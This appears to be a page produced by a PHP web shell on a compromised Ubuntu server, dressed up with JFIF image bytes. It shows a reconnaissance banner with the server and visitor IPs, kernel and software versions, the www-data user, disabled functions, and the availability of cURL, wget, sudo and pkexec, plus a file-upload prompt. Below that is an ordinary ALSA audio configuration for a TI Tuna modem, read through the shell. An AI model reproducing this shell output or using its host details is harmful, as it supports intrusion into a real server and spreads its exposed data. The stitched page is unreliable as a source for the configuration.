????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.28 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/alsa/ucm/Tuna/ |
Upload File : |
# Use case Configuration for TI Tuna RF MODEM Voice Call
# By Liam Girdwood <lrg@ti.com>
# Adapted to Ubuntu Touch by David Henningsson <david.henningsson@canonical.com>
SectionVerb {
EnableSequence [
cdev "hw:Tuna"
# Enable ABE sidetone paths at 0dB (needs tuned)
cset "name='Sidetone Mixer Capture' 1"
cset "name='Sidetone Mixer Playback' 1"
cset "name='SDT DL Volume' 120"
cset "name='SDT UL Volume' 120"
# Enable ABE DL1 Voice at 0dB
cset "name='DL1 Mixer Multimedia' 1"
cset "name='DL1 Mixer Voice' 1"
cset "name='DL1 Voice Playback Volume' 120"
# Only enabled for Speaker
cset "name='DL2 Mixer Multimedia' 0"
cset "name='DL2 Mixer Voice' 0"
# Disable DL2 Mono Mixer
cset "name='DL2 Mono Mixer' 0"
# Enable Uplink
cset "name='Voice Capture Mixer Capture' 1"
# Todo - Execute modem startup command if required.
# FIXME: Copying Handset enable here to allow the PCM to be
# opened. Better fix required, possibly driver-side.
# Enable ABE paths to PDM and AMIC
cset "name='DL1 PDM Switch' 1"
cset "name='MUX_VX0' 11"
cset "name='MUX_VX1' 12"
# set ABE capture gains to 0dB
cset "name='AMIC UL Volume' 120"
# TWL6040 playback path
cset "name='Earphone Enable Switch' 1"
# TWL6040 Capture Path with Main Mic and Sub Mic
cset "name='Analog Left Capture Route' 1"
cset "name='Analog Right Capture Route' 1"
cset "name='Capture Preamplifier Volume' 2"
# END OF FIXME
# Enable extra PCMs
# ABE Music playback path through DL1 at 0dB (tune this)
cset "name='DL1 Mixer Multimedia' 1"
cset "name='DL1 Media Playback Volume' 120"
# Enable VX_REC for call capture at 0dB
cset "name='Capture Mixer Voice Playback' 1"
cset "name='Capture Mixer Voice Capture' 1"
cset "name='VXREC Voice UL Volume' 120"
cset "name='VXREC Voice DL Volume' 120"
# set ROUTE_UL path
cset "name='MUX_UL10' 13"
cset "name='MUX_UL11' 14"
]
DisableSequence [
cdev "hw:Tuna"
# Disable Extra PCMs
# Enable VX_REC for call capture at 0dB
cset "name='Capture Mixer Voice Playback' 0"
cset "name='Capture Mixer Voice Capture' 0"
cset "name='VXREC Voice UL Volume' 0"
cset "name='VXREC Voice DL Volume' 0"
# set ROUTE_UL path
cset "name='MUX_UL10' 0"
cset "name='MUX_UL11' 0"
# disable ABE Music path to near end
cset "name='DL1 Mixer Tones' 0"
cset "name='DL1 Tones Playback Volume' 0"
# ABE mute tone playback path through DL2
cset "name='DL2 Mixer Tones' 0"
cset "name='DL2 Tones Playback Volume' 0"
# Todo - Execute modem shutdown command if required.
# Disable ABE sidetone paths and mute (needs tuned)
cset "name='Sidetone Mixer Capture' 0"
cset "name='Sidetone Mixer Playback' 0"
cset "name='SDT DL Volume' 0"
cset "name='SDT UL Volume' 0"
# Disable ABE DL1 Voice and mute
cset "name='DL1 Mixer Voice' 0"
cset "name='DL1 Voice Playback Volume' 0"
# Enable DL2 Multimedia
cset "name='DL2 Mixer Multimedia' 1"
# Enable DL2 Mono Mixer
cset "name='DL2 Mono Mixer' 1"
# Disable Uplink
cset "name='Voice Capture Mixer Capture' 0"
# FIXME: Copying Handset disable here to allow the PCM to be
# opened. Better fix required, possibly driver-side.
# Set SDP device for following cset commands
cdev "hw:Tuna"
# Enable ABE paths
cset "name='DL1 PDM Switch' 0"
cset "name='MUX_VX0' 0"
cset "name='MUX_VX1' 0"
# mute ABE capture gains
cset "name='AMIC UL Volume' 120"
# TWL6040 playback path
cset "name='HS Right Playback' 0"
cset "name='HS Left Playback' 0"
# TWL6040 Capture path
cset "name='Analog Left Capture Route' 3"
cset "name='Analog Right Capture Route' 3"
cset "name='Capture Preamplifier Volume' 0"
# END OF FIXME
]
# QoS and ALSA PCMs
Value {
TQ "Voice"
CapturePCM "hw:Tuna,1"
PlaybackPCM "hw:Tuna,0"
}
}
SectionDevice."Earpiece" {
#Name "Earpiece"
Comment "Earpiece output"
# FIXME
ConflictingDevice [
"Headphones"
"Speaker"
]
EnableSequence [
]
DisableSequence [
]
Value {
PlaybackChannels "2"
}
}
SectionDevice."Headphones" {
#Name "Earpiece"
Comment "Headphone output"
# FIXME
ConflictingDevice [
"Earpiece"
"Speaker"
]
EnableSequence [
]
DisableSequence [
]
Value {
PlaybackChannels "2"
}
}
SectionDevice."Speaker" {
#Name "Earpiece"
Comment "Speaker output"
# FIXME
ConflictingDevice [
"Earpiece"
"Headphones"
]
EnableSequence [
]
DisableSequence [
]
Value {
PlaybackChannels "2"
}
}
SectionDevice."Handset" {
Comment "Main mic input"
# FIXME
ConflictingDevice [
"Headset"
]
EnableSequence [
]
DisableSequence [
]
Value {
CaptureChannels "2"
}
}
SectionDevice."Headset" {
Comment "Headset mic input"
# FIXME
ConflictingDevice [
"Handset"
]
EnableSequence [
]
DisableSequence [
]
Value {
CaptureChannels "2"
}
}